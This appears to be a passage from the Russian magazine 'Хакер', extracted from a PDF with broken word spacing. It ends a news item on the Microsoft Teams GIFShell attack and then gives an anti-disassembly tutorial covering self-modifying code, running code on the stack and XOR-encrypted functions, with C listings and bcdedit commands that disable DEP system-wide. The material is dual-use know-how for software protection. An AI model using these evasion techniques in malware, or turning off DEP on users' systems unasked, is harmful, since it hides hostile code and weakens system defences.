сы и бран дма уэры не бло киру ют и не филь тру ют его, что дает зло умыш ленни -
кам пол ную сво боду дей ствий. Ну а пос коль ку Microsoft Teams работа ет
как фоновый про цесс, поль зовате лю даже не нуж но откры вать его окно, что бы
вре донос ные коман ды выпол нились на его компь юте ре.

Боб би Раух про информи ровал Microsoft об обна ружен ных им уяз вимос тях
в мае и июне 2022 года, но в Ред монде не пос читали их кри тичес ки важ ными,
и иссле дова тель получил воз можность обна родо вать свою наход ку. Все опи -
сан ные им ата ки успешно выпол нялись на Microsoft Teams вер -
сии 1.5.00.11163, и они гаран тирован но будут работать на более ран них вер -
сиях. Адми нис тра торы бло га BleepingComputer обра тились в Microsoft за ком -
мента риями по поводу устра нения обна ружен ных Раухом уяз вимос тей
и получи ли такой ответ: «Некото рые уяз вимос ти невысо кой сте пени серь -
езности, которые не пред став ляют непос редс твен ной угро зы для поль зовате -
лей, не явля ются при ори тет ными для немед ленно го обновле ния безопас -
ности, но воз можность их исправ ления будет рас смот рена в сле дующей вер -
сии ПО».

Ины ми сло вами, Microsoft не торопит ся исправ лять проб лемы с безопас -
ностью, а зна чит, зло умыш ленни ки могут поль зовать ся ими и в даль нейшем.
Поэто му поль зовате лям Microsoft Teams сле дует про являть осо бую осто рож -
ность и бди тель ность, если они не хотят стать жер твой хакеров.

mailto:valentin@holmogorov.ru
https://www.bleepingcomputer.com/news/security/gifshell-attack-creates-reverse-shell-using-microsoft-teams-gifs/
https://thumbs.gfycat.com/PlaintiveAmusingKoodoo-mobile.mp4
https://github.com/bobbyrsec/Microsoft-Teams-GIFShell
https://player.vimeo.com/video/747711408?h=44644e0939
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ВЗЛОМ

Каж дый раз работ чик прог рамм стре мит ся защитить
резуль тат сво его тру да от взло ма. Сегод ня нам пред сто ит
иссле довать спо собы про тивос тояния самому популяр -
ному виду хакер ско го инс тру мен тария — дизас сем бле рам.
Нашей целью будет запутать хакера, отва дить его от взло -
ма нашей прог раммы, все воз можны ми спо соба ми зат -
руднить ее ана лиз.

Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова -
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта -
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Про дол жаем дер жать обо рону нашего при ложе ния от атак злоб ных хакеров —
от их попыток «за прос то так» вос поль зовать ся пло дами нашего тру да, от их
подоз ритель ного инте реса к нашим прог раммам и скры ваемым в них сек -
ретам. Для это го мы про дол жим соз давать изощ ренные сис темы защиты,
на сей раз — от дизас сем бли рова ния.

Что бы спра вить ся с задачей, нам необ ходимо узнать о внут ренних механиз -
мах опе раци онной сис темы, о средс твах работы с памятью. Так же при дет ся
разоб рать ся в работе ком пилято ров, понять, как они генери руют код, вычис -
лить плю сы и минусы опти миза ции. И наконец, пог рузить ся в шиф рование,
научить ся рас шифро вывать прог рам мный код на лету непос редс твен но
перед выпол нени ем.

ÑÀÌÎÌÎÄÈÔÈÖÈÐÓÞÙÈÉÑß ÊÎÄ Â ÑÎÂÐÅÌÅÍÍÛÕ
ÎÏÅÐÀÖÈÎÍÍÛÕ ÑÈÑÒÅÌÀÕ

В эпо ху рас цве та MS-DOS прог раммис ты широко исполь зовали самомо дифи -
циру ющий ся код, без которо го не обхо дилась прак тичес ки ни одна мало-маль -
ски серь езная защита. Да и не толь ко защита — он встре чал ся в ком пилято рах,
ком пилиру ющих код непос редс твен но в память, в рас паков щиках исполня емых
фай лов, в полимор фных генера торах и так далее.

Ког да началась мас совая миг рация поль зовате лей на Windows, раз работ -
чикам приш лось задумать ся о перено се накоп ленно го опы та и при емов прог -
рамми рова ния на новую плат форму. От бес кон троль ного дос тупа к железу,
памяти, ком понен там опе раци онной сис темы и свя зан ных с ними хит роум ных
трю ков прог рамми рова ния приш лось отвы кать. В час тнос ти, ста ла невоз можна
непос редс твен ная модифи кация исполня емо го кода при ложе ний, пос коль ку
Windows защища ет его от неп редна мерен ных изме нений. Это при вело к рож -
дению нелепо го убеж дения, буд то под Windows соз дание самомо дифи циру -
юще гося кода вооб ще невоз можно, по край ней мере без исполь зования
недоку мен тирован ных воз можнос тей опе раци онной сис темы.

На самом деле сущес тву ет как минимум два докумен тирован ных спо соба
изме нить код при ложе ний, хорошо работа ющих под Windows NT и впол не
удов летво ряющих ся при виле гиями гос тевого поль зовате ля.

Во-пер вых,  экспор тиру ет фун кцию ,

пред назна чен ную, как и сле дует из ее наз вания, для модифи кации памяти про -
цес са. Во-вто рых, прак тичес ки все опе раци онные сис темы, вклю чая Windows
и Linux, раз реша ют выпол нение и модифи кацию кода, раз мещен ного в сте ке.
Меж ду тем сов ремен ные вер сии ука зан ных опе раци онных сис тем нак ладыва -
ют на стек огра ниче ния, мы под робно погово рим об этом чуть поз днее.

kernel32.dll WriteProcessMemory

В прин ципе, задача соз дания самомо дифи циру юще гося кода может быть
решена исклю читель но средс тва ми язы ков высоко го уров ня, таких, нап ример,
как C/C++ и Delphi, без при мене ния ассем бле ра.

Àðõèòåêòóðà ïàìÿòè Windows
Соз дание самомо дифи циру юще гося кода тре бует зна ния некото рых тон костей
архи тек туры Windows, не очень-то хорошо осве щен ных в докумен тации. Точ -
нее, сов сем не осве щен ных, но от это го отнюдь не при обре тающих ста тус
«недоку мен тирован ных осо бен ностей», пос коль ку, во-пер вых, они оди нако во
реали зова ны на всех Windows-плат формах, а во-вто рых, их активно исполь зует
ком пилятор Visual C++ от Microsoft. Отсю да сле дует, что никаких изме нений
даже в отда лен ном будущем ком пания не пла ниру ет; в про тив ном слу чае код,
сге нери рован ный этим ком пилято ром, отка жет в работе, а на это Microsoft
не пой дет (вер нее, не дол жна пой ти, если верить здра вому смыс лу).

В режиме обратной сов мести мос ти для адре сации четырех гигабайт вир -
туаль ной памяти, выделен ной в рас поряже ние про цес са, Windows исполь зует
два селек тора, один из которых заг ружа ется в сег мен тный регистр , а дру -
гой — в регис тры ,  и . Оба селек тора ссы лают ся на один и тот же

базовый адрес памяти, рав ный нулю, и име ют иден тичные лимиты, рав ные
четырем гигабай там. Помимо перечис ленных сег мен тных регис тров, Windows
еще исполь зует регистр , в который заг ружа ет селек тор сег мента, содер -

жащего информа цион ный блок потока — TIB.

CS
DS ES SS

FS

Фак тичес ки сущес тву ет все го один сег мент, вме щающий в себя и код,
и дан ные, и стек про цес са. Бла года ря это му управле ние коду, рас положен -
ному в сте ке, переда ется близ ким (near) вызовом или перехо дом, и для дос -
тупа к содер жимому сте ка исполь зование пре фик са  совер шенно необя -

затель но. Нес мотря на то что зна чение регис тра  не рав но зна чению регис -
тров ,  и , коман ды

SS
CS

DS ES SS
• 

• 
• 

MOV dest,CS:[src]
MOV dest,DS:[src]
MOV dest,SS:[src]

в дей стви тель нос ти обра щают ся к одной и той же ячей ке памяти.
Это точ ный про образ реали зован ной в про цес сорах на архи тек туре x86-64

RIP-отно ситель ной адре сации памяти, в которой не исполь зуют ся сег менты.
От личия меж ду реги она ми кода, сте ка и дан ных зак люча ются в атри бутах

при над лежащих им стра ниц: стра ницы кода допус кают чте ние и исполне ние,
стра ницы дан ных — чте ние и запись, а сте ка — чте ние, запись и исполне ние
одновре мен но.

По мимо это го, каж дая стра ница име ет спе циаль ный флаг, опре деля ющий
уро вень при виле гий, которые необ ходимы для дос тупа к этой стра нице.
Некото рые стра ницы, нап ример те, что при над лежат опе раци онной сис теме,
тре буют наличия прав супер визора, которы ми обла дает толь ко код нулево го
коль ца. Прик ладные прог раммы, исполня ющиеся в коль це 3, таких прав
не име ют и при попыт ке обра щения к защищен ной стра нице порож дают
исклю чение. Манипу лиро вать атри бута ми стра ниц, рав но как и ассо цииро вать
стра ницы с линей ными адре сами, может толь ко опе раци онная сис тема
или код, исполня ющий ся в нулевом коль це.

Сре ди начина ющих прог раммис тов ходит совер шенно нелепая бай ка о том,
что, если обра тить ся к коду прог раммы коман дой, пред варен ной пре фик сом

, Windows яко бы бес пре пятс твен но поз волит его изме нить. На самом деле

это в кор не невер но — обра тить ся-то она поз волит, а вот изме нить — нет,
каким бы спо собом ни про исхо дило обра щение, так как защита работа ет
на уров не физичес ких стра ниц, а не логичес ких адре сов.

DS

Èñïîëüçîâàíèå ôóíêöèè WriteProcessMemory
Ес ли тре бует ся изме нить некото рое количес тво бай тов сво его (или чужого)
про цес са, самый прос той спо соб сде лать это — выз вать фун кцию

. Она поз воля ет модифи циро вать сущес тву ющие стра -
ницы памяти, чей флаг супер визора не взве ден, то есть все стра ницы, дос -
тупные из коль ца 3, в котором выпол няют ся прик ладные при ложе ния. Совер -
шенно бес полез но с помощью  пытать ся изме нить кри -
тичес кие струк туры дан ных опе раци онной сис темы (нап ример, 

 или ) — они дос тупны лишь из нулево го коль ца. Поэто -

му ука зан ная фун кция не пред став ляет никакой угро зы для безопас ности сис -
темы и успешно вызыва ется незави симо от уров ня при виле гий поль зовате ля.

WriteProcessMemory

WriteProcessMemory
page

directory page table

Про цесс, в память которо го про исхо дит запись, дол жен быть пред -
варитель но открыт фун кци ей  с атри бута ми дос тупа

 и . Час то прог раммис ты, ленивые

от при роды, идут более корот ким путем, уста нав ливая все атри буты —
. И это впол не закон но, хотя спра вед ливо счи тает ся дур -

ным сти лем прог рамми рова ния.

OpenProcess
PROCESS_VM_OPERATION PROCESS_VM_WRITE

PROCESS_ALL_ACCESS

Да лее при веден прос той при мер , иллюс три рующий

исполь зование фун кции  для соз дания самомо дифи циру -

юще гося кода:

self-modifying_code
WriteProcessMemory

#include <iostream>
#include <Windows.h>

  using namespace std;

    int WriteMe(void* addr, int wb)
{
        
  

HANDLE h = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE
, true, GetCurrentProcessId());
        return WriteProcessMemory(h, addr, &wb, 1, NULL);

}

    int main(int argc, char* argv[])
{
    _asm {

            push 0x74 ; JMP -> JZ
         push offset Here
        call WriteMe

         add esp, 8
            Here: JMP short here

   }
     cout << "#JMP SHORT $-2 was changed to JZ $-2\n";
    return 0;

}

Фун кция  в рас смат рива емой прог рамме заменя ет инс -

трук цию бес конеч ного цик ла  условным перехо дом ,

который про дол жает нор маль ное выпол нение прог раммы. Неп лохой спо соб
зат руднить взлом щику изу чение при ложе ния, не прав да ли? Осо бен но если
вызов  не рас положен воз ле изме няемо го кода, а помещен в отдель -

ный поток. Будет еще луч ше, если модифи циру емый код впол не естес тве нен
сам по себе и внеш не не вызыва ет никаких подоз рений. В этом слу чае хакер
может дол го блуж дать в той вет ке кода, которая при выпол нении прог раммы
вооб ще не получа ет управле ния.

WriteProcessMemory
JMP short $-2 JZ $-2

WriteMe

Для ком пиляции это го при мера уста нови 32-бит ный режим резуль тиру -
юще го кода.

Ре зуль тат выпол нения при ложе ния self-modifying_code

Ес ли из ассем блер ной встав ки убрать вызов фун кции , которая
переза писы вает инс трук цию  на , прог рамма выпадет в бес конеч ный

цикл.

WriteMe
JMP JZ

Вы зов фун кции заком менти рован

Прог рамма зацик лена

Пос коль ку Windows для эко номии опе ратив ной памяти раз деля ет код меж ду
про цес сами, воз ника ет воп рос: а что про изой дет, если запус тить вто рую копию
самомо дифи циру ющей ся прог раммы? Соз даст ли опе раци онная сис тема
новые стра ницы или отош лет при ложе ние к уже модифи циру емо му коду?
В докумен тации на Windows NT ска зано, что она под держи вает копиро вание
при записи ( ), то есть авто мати чес ки дуб лиру ет стра ницы кода
при попыт ке их модифи циро вать. Нап ротив, Windows 9x не под держи вает
такую воз можность. Озна чает ли это, что все копии самомо дифи циру юще гося
при ложе ния будут вынуж дены работать с одни ми и теми же стра ница ми кода
(а это неиз бежно при ведет к кон флик там и сбо ям)?

copy on write

Нет, и вот почему: нес мотря на то что копиро вание при записи в Windows 9x
не реали зова но, эту заботу берет на себя сама фун кция ,

соз давая копии всех модифи циру емых стра ниц, рас пре делен ных меж ду про -
цес сами. Бла года ря это му самомо дифи циру ющий ся код оди нако во хорошо
работа ет как под Windows 9x, так и под Windows NT. Одна ко сле дует учи тывать,
что все копии при ложе ния, модифи циру емые любым иным путем (нап ример,
коман дой  нулево го коль ца), если их запус тить под Windows 9x, будут раз -
делять одни и те же стра ницы кода со все ми вытека ющи ми отсю да пос ледс -
тви ями.

WriteProcessMemory

mov

Те перь об огра ниче ниях. Во-пер вых, исполь зовать 
разум но толь ко в ком пилиру ющих в память ком пилято рах или рас паков щиках
исполня емых фай лов, а в защитах — нес коль ко наив но. Мало-маль ски опыт -
ный взлом щик быс тро обна ружит под вох, уви дев эту фун кцию в таб лице
импорта. Затем он уста новит точ ку оста нова на вызов 

и будет кон тро лиро вать каж дую опе рацию записи в память. А это никак не вхо -
дит в пла ны раз работ чика защиты!

WriteProcessMemory

WriteProcessMemory

Дру гое огра ниче ние  зак люча ется в невоз можнос ти

соз дания новых стра ниц, ей дос тупны лишь сущес тву ющие стра ницы. А как
быть, если тре бует ся выделить некото рое количес тво памяти, нап ример
для кода, динами чес ки генери руемо го на лету? Вызов фун кций управле ния
кучей, таких как  или , не поможет, пос коль ку в куче выпол нение

кода зап рещено. И вот тог да-то на помощь при ходит воз можность выпол нения
кода в сте ке...

WriteProcessMemory

malloc new

Продолжение статьи →
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БОРЕМСЯ
С ДИЗАССЕМБЛЕРАМИ

И ЗАТРУДНЯЕМ
РЕВЕРС ПРОГРАММ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÂÛÏÎËÍÅÍÈÅ ÊÎÄÀ Â ÑÒÅÊÅ

Раз решение на выпол нение кода в сте ке объ ясня ется тем, что исполня емый
стек необ ходим мно гим прог раммам, в том чис ле и самой опе раци онной сис -
теме для выпол нения некото рых сис темных фун кций. Бла года ря это му ком -
пилято рам и ком пилиру ющим интер пре тато рам про ще генери ровать код.

Од нако вмес те с этим уве личи вает ся и потен циаль ная угро за ата ки. Если
выпол нение кода в сте ке раз решено и при опре делен ных обсто ятель ствах
из-за оши бок реали зации управле ние переда ется на вве ден ные поль зовате -
лем дан ные, зло умыш ленник получа ет воз можность передать и выпол нить
на уда лен ной машине свой собс твен ный злов редный код. Для опе раци онных
сис тем Solaris и Linux мож но уста новить «зап латки», которые зап ретят исполне -
ние кода в сте ке, но они не име ют боль шого рас простра нения, пос коль ку
дела ют невоз можной работу мно жес тва прог рамм. Боль шинс тву поль зовате -
лей лег че сми рить ся с угро зой ата ки, чем остать ся без необ ходимых при ложе -
ний.

Не все глад ко с исполне нием кода в сте ке в ОС Windows. Начиная со вто -
рого пакета обновле ния для Windows XP, в сис теме появи лась фун кция
безопас ности DEP (Data Execution Prevention). Во вклю чен ном сос тоянии она
зап реща ет выпол нение кода на опре делен ных стра ницах памяти, в том чис ле
и в сте ке. Но, как в слу чае с *.nix-сис темами, ее час то отклю чают, что бы поль -
зовать ся компь юте ром по пол ной.

По это му исполь зование сте ка для выпол нения самомо дифи циру юще гося
кода впол не закон но и сис темно-незави симо, то есть уни вер саль но. Помимо
это го, такое решение устра няет оба недос татка фун кции :WriteProcessMemory

Во-пер вых, выяв лять и отсле живать модифи циру ющие заранее неиз вес -
тную ячей ку памяти коман ды чрез вычай но труд но, и взлом щику при дет ся
про вес ти кро пот ливый ана лиз кода защиты без надеж ды на ско рый успех
(при усло вии, что сам защит ный механизм реали зован без гру бых оши бок,
облегча ющих задачу хакера).

•

Во-вто рых, при ложе ние в любой момент может выделить столь ко сте ковой
памяти, сколь ко ему заб лагорас судит ся, а затем, при исчезно вении пот -
ребнос ти, ее осво бодить. По умол чанию сис тема резер виру ет один
мегабайт сте ково го прос транс тва, а если это го для решения пос тавлен ной
задачи недос таточ но, нуж ное количес тво мож но ука зать при ком понов ке
прог раммы.

•

За меча тель но, что для выпол няющих ся в сте ке прог рамм спра вед лив прин цип
фон Ней мана — в один момент вре мени текст прог раммы может рас смат -
ривать ся как дан ные, а в дру гой — как исполня емый код. Имен но это необ -
ходимо для нор маль ной работы всех рас паков щиков и рас шифров щиков
исполня емо го кода.

Од нако прог рамми рова ние кода, выпол няюще гося в сте ке, име ет ряд спе -
цифи чес ких осо бен ностей.

«Ïîäâîäíûå êàìíè» ïåðåìåùàåìîãî êîäà
При раз работ ке выпол няюще гося в сте ке кода сле дует учи тывать, что в раз ных
вер сиях Windows мес тополо жение сте ка может раз личать ся и, что бы сох ранить
работос пособ ность при перехо де от одной сис темы к дру гой, код дол жен быть
без разли чен к адре су, по которо му он будет заг ружен. Такой код называ ют
переме щаемым, и в его соз дании нет ничего слож ного: дос таточ но сле довать
нес коль ким прос тым сог лашени ям.

За меча тель но, что у мик ропро цес соров серии Intel 80x86 все корот кие
перехо ды (short jump) и близ кие вызовы (near call) отно ситель ны, то есть
содер жат не линей ный целевой адрес, а раз ницу целево го адре са и адре са
сле дующей выпол няемой инс трук ции. Это зна читель но упро щает соз дание
переме щаемо го кода, но вмес те с этим нак ладыва ет на него некото рые огра -
ниче ния.

Что про изой дет, если вот такую фун кцию ско пиро вать в стек и передать ей
управле ние?

 void Demo()
{
     printf("Demo\n");

}

Пос коль ку инс трук ция , вызыва ющая фун кцию , «пере еха ла»

на новое мес то, раз ница адре сов вызыва емой фун кции и сле дующей за 
инс трук ции ста нет сов сем иной и управле ние получит отнюдь не , а не

име ющий к ней никако го отно шения код! Веро ятнее все го, им ока жет ся
«мусор», порож дающий исклю чение с пос леду ющим ава рий ным зак рыти ем
при ложе ния.

call printf
call

printf

Прог рамми руя на ассем бле ре, такое огра ниче ние мож но лег ко обой ти,
исполь зуя регис тро вую адре сацию. Переме щаемый вызов фун кции 

упро щен но может выг лядеть, нап ример, так:

printf

lea eax, printf
call eax

В регистр  (или любой дру гой регистр обще го наз начения) заносит ся абсо -

лют ный линей ный, а не отно ситель ный адрес, и незави симо от положе ния инс -
трук ции  управле ние будет переда но фун кции , а не чему-то еще.

EAX

call printf
Од нако такой под ход тре бует зна ния ассем бле ра, под дер жки ком пилято -

ром ассем блер ных вста вок и не очень-то нра вит ся прик ладным прог раммис -
там, не инте ресу ющим ся коман дами и устрой ством про цес сора.

Для решения этой задачи исклю читель но средс тва ми язы ка высоко го уров -
ня необ ходимо передать сте ковой фун кции ука зате ли на вызыва емые ею фун -
кции в виде аргу мен тов. Это нес коль ко неудоб но, но более корот кого пути,
по-видимо му, не сущес тву ет. Далее при веден текст прог раммы

, иллюс три рующей копиро вание и выпол нение фун кции в сте ке:stack_execute

#include <stdio.h>

     void Demo(int (*_printf) (const char*, ...))
{
   _printf("Hello, World!\n");
   return;

}

    int main(int argc, char* argv[])
{
    char buff[1000];

    int (*_printf) (const char*, ...);
  int(*_main) (int, char**);

      void (*_Demo) (int (*) (const char*, ...));
  _printf = printf;

  _main = main;
  _Demo = Demo;

       int func_len = (unsigned int)_main - (unsigned int)_Demo;

        for (int a = 0; a < func_len; a++)
     buff[a] = ((char*)_Demo)[a];

         _Demo = (void (*) (int (*) (const char*, ...))) &buff[0];
_Demo(_printf);

 return 0;

}

Но не спе ши ком пилиро вать и запус кать при ложе ние. Для пос тро ения прог -
раммы надо выб рать плат форму x86 и режим выпус ка Release. В про тив ном
слу чае, хотя при ложе ние будет успешно пос тро ено, оно не выведет при ветс -
твен ную стро ку на экран, так как при уста нов ке режима Release авто мати чес ки
отклю чают ся отла доч ные механиз мы ком пиляции, которые в дан ном слу чае
могут испортить кар тину.

Вдо бавок надо отклю чить DEP. Ког да он вклю чен, как мы зна ем, Windows
нак ладыва ет зап рет на исполне ние кода в сте ке, сле дова тель но, прог рамма

 ничего не выведет на экран и сра зу завер шит свой про цесс,
потому что, про изве дя опре делен ные манипу ляции, она копиру ет фун кцию

 в стек и запус кает ее уже отту да. И толь ко пос ледняя выводит стро ку

на кон соль.

stack_execute

Demo

В нашем слу чае вклю чение прог раммы в спи сок исклю чений DEP не увен -
чалось успе хом,  в таком слу чаем по-преж нему не выводи ла

стро ку.

stack_execute

Спи сок прог рамм-исклю чений, на которые DEP вли ять не дол жен

По это му приш лось отклю чить DEP гло баль но, на уров не всей сис темы.
В запущен ной от име ни адми нис тра тора кон соли надо ввес ти:

 — что бы вык лючить
DEP;

• bcdedit.exe /set {current} nx AlwaysOff

 — что бы вклю чить DEP.• bcdedit.exe /set {current} nx AlwaysOn

До пол нитель но нелиш ним будет отклю чить опти миза цию: во-пер вых, так удоб -
нее отла живать прог рамму, пос коль ку опти миза тор «съеда ет» ненуж ные,
на его взгляд, перемен ные; во-вто рых, они могут быть про ини циали зиро ваны,
но, по мне нию ком пилято ра, не исполь зованы, из-за чего они опять будут уда -
лены из бинар ника. А это, в свою оче редь, может ска зать ся на пра виль ной
работе при ложе ния. Да, быва ет и такое. Поэто му надо сле дить за работой
ком пилято ра, что бы он не уда лил чего-нибудь лиш него!

Пос ле перезаг рузки опе раци онной сис темы  будет работать
как надо и выводить при ветс твен ную стро ку.

stack_execute

Кор рек тный вывод при ветс твен ной стро ки фун кци ей, выз ванной из сте ка

Кро ме того, обра ти вни мание, как фун кция  в пре дыду щем лис тинге

выводит при ветс твие на экран. На пер вый взгляд, ничего необыч ного,
но задумай ся, где раз мещена стро ка «Hello, World!». Разуме ется, не в сег -
менте кода — там ей не мес то (хотя некото рые ком пилято ры помеща ют ее
имен но туда). Выходит, в сег менте дан ных, там, где ей и положе но быть?
Но если так, то одно го лишь копиро вания тела фун кции ока жет ся явно недос -
таточ но, при дет ся ско пиро вать и саму стро ковую кон стан ту. А это уто митель но.
Но сущес тву ет и дру гой спо соб — соз дать локаль ный буфер и ини циали зиро -
вать его по ходу выпол нения прог раммы, нап ример так:

printf

...buf[666];
  buff[0] = 'H';
  buff[1] = 'e';
  buff[2] = 'l';
 buff[3]= 'l';
 buff[4]= 'o';

Не самый корот кий, но из-за его прос тоты широко рас простра нен ный путь.

Ïëþñû è ìèíóñû îïòèìèçèðóþùèõ êîìïèëÿòîðîâ
При меняя язы ки высоко го уров ня для раз работ ки выпол няемо го в сте ке кода,
сле дует учи тывать осо бен ности реали заций исполь зуемых ком пилято ров и,
преж де чем оста нав ливать свой выбор на каком-то одном из них, осно ватель -
но изу чить при лага емую докумен тацию. В боль шинс тве слу чаев код фун кции,
ско пиро ван ный в стек, с пер вой попыт ки запус тить не получит ся, осо бен но
если вклю чена опти мизи рован ная ком пиляция.

Так про исхо дит потому, что на чис том язы ке высоко го уров ня, таком
как C/C++ или Delphi, ско пиро вать код фун кции в стек (или куда-то еще) прин -
ципи аль но невоз можно, пос коль ку стан дарты язы ка не ого вари вают, каким
имен но обра зом дол жна выпол нять ся ком пиляция. Прог раммист может
получить ука затель на фун кцию, но в стан дарте не опи сано, как сле дует ее
интер пре тиро вать. С точ ки зре ния прог раммис та, она пред став ляет «магичес -
кое чис ло», в наз начение которо го пос вящен один лишь ком пилятор.

К счастью, логика кодоге нера ции боль шинс тва ком пилято ров более
или менее оди нако ва, и это поз воля ет прик ладной прог рамме сде лать некото -
рые пред положе ния об орга низа ции откомпи лиро ван ного кода.

В час тнос ти, прог рамма, рас смот ренная ранее, мол чаливо полага ет, что
ука затель на фун кцию сов пада ет с точ кой вхо да в эту фун кцию, а все тело фун -
кции рас положе но непос редс твен но за точ кой вхо да. Имен но такой код
(наибо лее оче вид ный с точ ки зре ния здра вого смыс ла) и генери рует подав -
ляющее боль шинс тво ком пилято ров. Боль шинс тво, но не все! Тот же Microsoft
Visual C++ в режиме отладки вмес то фун кций встав ляет «переход ники», а сами
фун кции раз меша ет сов сем в дру гом мес те. В резуль тате в стек копиру ется
содер жимое «переход ника», но не само тело фун кции! Из-за это го при ком -
пиляции нашего при мера был выб ран режим Release.

У дру гих ком пилято ров спо соб перек лючения этой опции может зна читель -
но отли чать ся, а в худ шем слу чае — вооб ще отсутс тво вать. Если это так, при -
дет ся отка зать ся либо от самомо дифи циру юще гося кода, либо от дан ного
ком пилято ра.

Еще одна проб лема: как дос товер но опре делить дли ну тела фун кции? Язык
C/C++ не дает никакой воз можнос ти узнать зна чение этой величи ны, а опе -
ратор  воз вра щает раз мер ука зате ля на фун кцию, но не раз мер самой

фун кции. Одно из воз можных решений опи рает ся на тот факт, что ком пилято -
ры, как пра вило, рас полага ют фун кции в памяти сог ласно поряд ку их объ явле -
ния в исходной прог рамме. Сле дова тель но, дли на тела фун кции рав на раз -
ности ука зате ля на сле дующую за ней фун кцию и ука зате ля на дан ную фун -
кцию.

sizeof

Пос коль ку Windows-ком пилято ры в режиме x86 пред став ляют ука зате ли 32-
раз рядны ми целыми чис лами, их мож но без болез ненно пре обра зовы вать в тип
unsigned int и выпол нять над ними раз личные матема тичес кие опе рации.
К сожале нию, опти мизи рующие ком пилято ры не всег да рас полага ют фун кции
в таком прос том поряд ке, а в некото рых слу чаях даже «раз ворачи вают» их,
под став ляя содер жимое фун кции на мес то ее вызова. Поэто му соот ветс тву -
ющие режимы опти миза ции (если они есть) при дет ся отклю чить.

Дру гое коварс тво опти мизи рующих ком пилято ров (как мы видели выше,
ког да нас тра ива ли ком пилятор) зак люча ется в том, что они выкиды вают ими
все не исполь зуемые (с их точ ки зре ния) перемен ные. Нап ример, в при веден -
ной выше прог рамме в буфер  что-то пишет ся, но ничего отту да не чита -

ется! А переда чу управле ния на буфер боль шинс тво ком пилято ров (в том чис -
ле и Microsoft Visual C++) рас познать не в силах, вот они и опус кают копиру -
ющий код, отче го управле ние переда ется на неини циали зиро ван ный буфер
с оче вид ными пос ледс тви ями. Если воз никнут подоб ные проб лемы, поп робуй
отклю чить опти миза цию вооб ще (пло хо, конеч но, но надо).

buff

От компи лиро ван ная прог рамма по-преж нему не работа ет? Веро ятнее все -
го, при чина в том, что ком пилятор встав ляет в конец каж дой фун кции вызов
про цеду ры, кон тро лиру ющей сос тояние сте ка. Имен но так ведет себя
Microsoft Visual C++, помещая в отла доч ные про екты вызов фун кции 
(не ищи ее опи сания в докумен тации — его там нет). А вызов этот, как нет -
рудно догадать ся, отно ситель ный! К сожале нию, никако го докумен тирован -
ного спо соба это зап ретить, по-видимо му, не сущес тву ет, но в финаль ных
(Release) про ектах Microsoft Visual C++ не кон тро лиру ет сос тояние сте ка
при выходе из фун кции, и все работа ет нор маль но.

chkesp

ÑÀÌÎÌÎÄÈÔÈÖÈÐÓÞÙÈÉÑß ÊÎÄ ÊÀÊ ÑÐÅÄÑÒÂÎ ÇÀÙÈÒÛ
ÏÐÈËÎÆÅÍÈÉ

И вот пос ле столь ких мытарств и ухищ рений зло получ ный при мер запущен
и побед но выводит на экран «Hello, World!». Резон ный воп рос: а зачем, собс -
твен но, все это нуж но? Какая выгода от того, что фун кция будет исполне на
в сте ке? Ответ: код фун кции, исполня ющей ся в сте ке, мож но пря мо на лету
изме нять, нап ример рас шифро вать ее.

Шиф рован ный код чрез вычай но зат рудня ет дизас сем бли рова ние и уси -
лива ет стой кость защиты, а какой раз работ чик не хочет убе речь свою прог -
рамму от хакеров? Разуме ется, одна лишь шиф ровка кода не очень-то серь -
езное пре пятс твие для взлом щика, снаб женно го отладчи ком или прод винутым
дизас сем бле ром наподо бие IDA Pro.

Прос тей ший алго ритм шиф рования зак люча ется в пос ледова тель ной обра -
бот ке каж дого эле мен та исходно го тек ста опе раци ей «исклю чающее ИЛИ»
( ). Пов торное при мене ние  к зашиф рован ному тек сту поз воля ет вновь

получить исходный текст.

XOR XOR

Сле дующий при мер  чита ет содер жимое фун кции ,

зашиф ровыва ет его и записы вает получен ный резуль тат в файл, пос ле чего
откры вает файл с дис ка, заг ружа ет дан ные, рас шифро выва ет пос ледова тель -
ность бай тов и исполня ет их, как ни в чем не бывало:

save_demo_to_file Demo

#include <stdio.h>
#include <memory.h>

     void Demo(int (*_printf) (const char*, ...))
{
   _printf("Hello, World!\n");
   return;

}

        
 

int write_file(const char* filename, unsigned char* buff, const
int func_len)
{
    FILE* f;

      if (fopen_s(&f, filename, "wb") == 0) {
            for (int a = 0; a < func_len; a++) {

             unsigned char c = buff[a] ^ 0x77;
         buff[a] = c;
        fputc(c, f);

   }
   fclose(f);

}
  else return -1;

 return 0;

}

         int read_file(const char* filename, unsigned char* buff, const int
func_len)
{
    FILE* f;

      if (fopen_s(&f, "Data.bin", "rb") == 0) {
      int bc = 0;
     while (!feof(f)) {

           unsigned char c = fgetc(f);
           buff[bc] = c ^ 0x77;

       bc++;
   }
   fclose(f);

}
  else return -1;

 return 0;

}

    int main(int argc, char* argv[])
{
     unsigned char buff[1000];
         void (*_Demo) (int (*) (const char*, ...));
     int(*_main) (int, char**);
       int (*_printf) (const char*, ...);
     _Demo = Demo;
     _main = main;
     _printf = printf;
          int func_len = (unsigned int)_main - (unsigned int)_Demo;

        for (int a = 0; a < func_len; a++)
      buff[a] = ((unsigned char*)_Demo)[a];

    const char* fname = "Data.bin";
// Выводим последовательность байтов на экран

 printf("%s\n", buff);
// Зашифровываем последовательность байтов и пишем в файл

  write_file(fname, buff, func_len);
// Выводим измененную последовательность байтов на экран

 printf("%s\n", buff);
// Очищаем массив байтов

  memset(buff, 0, 1000);
// Выводим обнуленную последовательность байтов на экран

 printf("%s\n", buff);
// Читаем байты из файла, одновременно расшифровывая их

  read_file(fname, buff, func_len);
// Выводим итоговую последовательность байтов на экран

 printf("%s\n", buff);

         _Demo = (void (*) (int (*) (const char*, ...))) &buff[0];
_Demo(_printf);

 return 0;

}

Что бы ском пилиро вать прог рамму, уста нови для сре ды раз работ ки те же
парамет ры, что были в прош лом про екте: плат форма — x86, режим — Release.
Так же можешь отклю чить опти миза цию.

Для наг ляднос ти выпол няемые прог раммой опе рации помеще ны в отдель -
